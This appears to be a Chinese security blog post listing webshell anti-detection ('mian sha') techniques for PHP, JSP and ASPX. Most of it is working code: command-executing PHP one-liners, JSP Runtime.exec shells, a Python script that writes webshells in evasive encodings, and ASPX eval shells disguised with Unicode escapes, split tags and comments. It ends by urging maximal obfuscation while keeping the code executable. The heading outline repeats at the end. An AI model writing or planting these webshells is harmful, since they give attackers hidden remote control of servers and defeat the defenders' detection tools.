测试几种实战成功过的webshell的免杀方式
字数 622 2025-08-29 08:31:35

PHP/JSP/ASPX Webshell免杀技术详解

一、PHP免杀技术

1. 利用PHP版本差异进行免杀

1.1 高版本PHP语法不换行执行命令

<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>
  • 5.2/5.3/5.4版本报错
  • 7.3.4成功执行命令

1.2 利用反斜杠特殊符号

<?php\echo `whoami`;?>
  • 5.3/7.3执行失败
  • 5.2成功执行

1.3 十六进制字符串差异

<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)?
  • 7.3/5.2执行失败
  • 5.3/5.5成功执行

1.4 PHP 7.0的null合并操作符

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));

2. 其他PHP免杀技术

  • 垃圾数据填充
  • 代码变形混淆
  • 特殊字符插入
  • 大量注释干扰

二、JSP免杀技术

1. 文件格式特性

  • JSP后缀兼容JSPX代码和特性
  • JSPX后缀不兼容JSP代码

2. JSPX CDATA特性

String cmd = request.getPar<![CDATA[ameter]]>("shell");
  • CDATA部分内容会被解析器忽略
  • 但实际会拼接为getParameter

3. 实体化编码绕过

if (cmd !=null){
    Process child = Runtime.getRuntime().exec(cmd);
    InputStream in = child.getInputStream();

4. 编码格式转换

# Python2生成不同编码的JSP文件
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i")%>'''

# UTF-16BE
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))

# UTF-16LE
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))

# CP037
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')

三、ASPX免杀技术

1. Unicode编码

<%@ Page Language="Jscript"%>
<%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
  • JScript不支持大U和多个0增加
  • C#支持更多Unicode变体

2. 空字符串连接

插入以下字符不影响执行:

\u200c \u200d \u200e \u200f

3. <%%>语法分割

<%@Page Language=JS%>
<%eval%>
<%(@Request.%>
<%Item["pass"],"unsafe");%>

4. 头部免杀

原始:

<%@ Page Language="C#" %>

变形:

<%@Language=CSHARP%>

<%@ Page Language="Jscript" Page Language=JS%>

5. @符号插入

原始:

(Context.Session["payload"] == null)

变形:

(@Context.@Session["payload"] == null)

6. 注释干扰

<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)%>

四、综合免杀策略

  1. 结合多种技术混合使用
  2. 针对目标环境选择合适的技术
  3. 注意不同语言和版本的特异性
  4. 保持代码可执行性的同时最大化混淆

以上技术在实际应用中需要根据目标环境的具体配置和防护措施进行选择和调整,建议在合法授权的测试环境中验证效果。

PHP/JSP/ASPX Webshell免杀技术详解 一、PHP免杀技术 1. 利用PHP版本差异进行免杀 1.1 高版本PHP语法不换行执行命令 5.2/5.3/5.4版本报错 7.3.4成功执行命令 1.2 利用反斜杠特殊符号 5.3/7.3执行失败 5.2成功执行 1.3 十六进制字符串差异 7.3/5.2执行失败 5.3/5.5成功执行 1.4 PHP 7.0的null合并操作符 2. 其他PHP免杀技术 垃圾数据填充 代码变形混淆 特殊字符插入 大量注释干扰 二、JSP免杀技术 1. 文件格式特性 JSP后缀兼容JSPX代码和特性 JSPX后缀不兼容JSP代码 2. JSPX CDATA特性 CDATA部分内容会被解析器忽略 但实际会拼接为getParameter 3. 实体化编码绕过 4. 编码格式转换 三、ASPX免杀技术 1. Unicode编码 JScript不支持大U和多个0增加 C#支持更多Unicode变体 2. 空字符串连接 插入以下字符不影响执行: 3. <%%>语法分割 4. 头部免杀 原始: 变形: 或 5. @符号插入 原始: 变形: 6. 注释干扰 四、综合免杀策略 结合多种技术混合使用 针对目标环境选择合适的技术 注意不同语言和版本的特异性 保持代码可执行性的同时最大化混淆 以上技术在实际应用中需要根据目标环境的具体配置和防护措施进行选择和调整,建议在合法授权的测试环境中验证效果。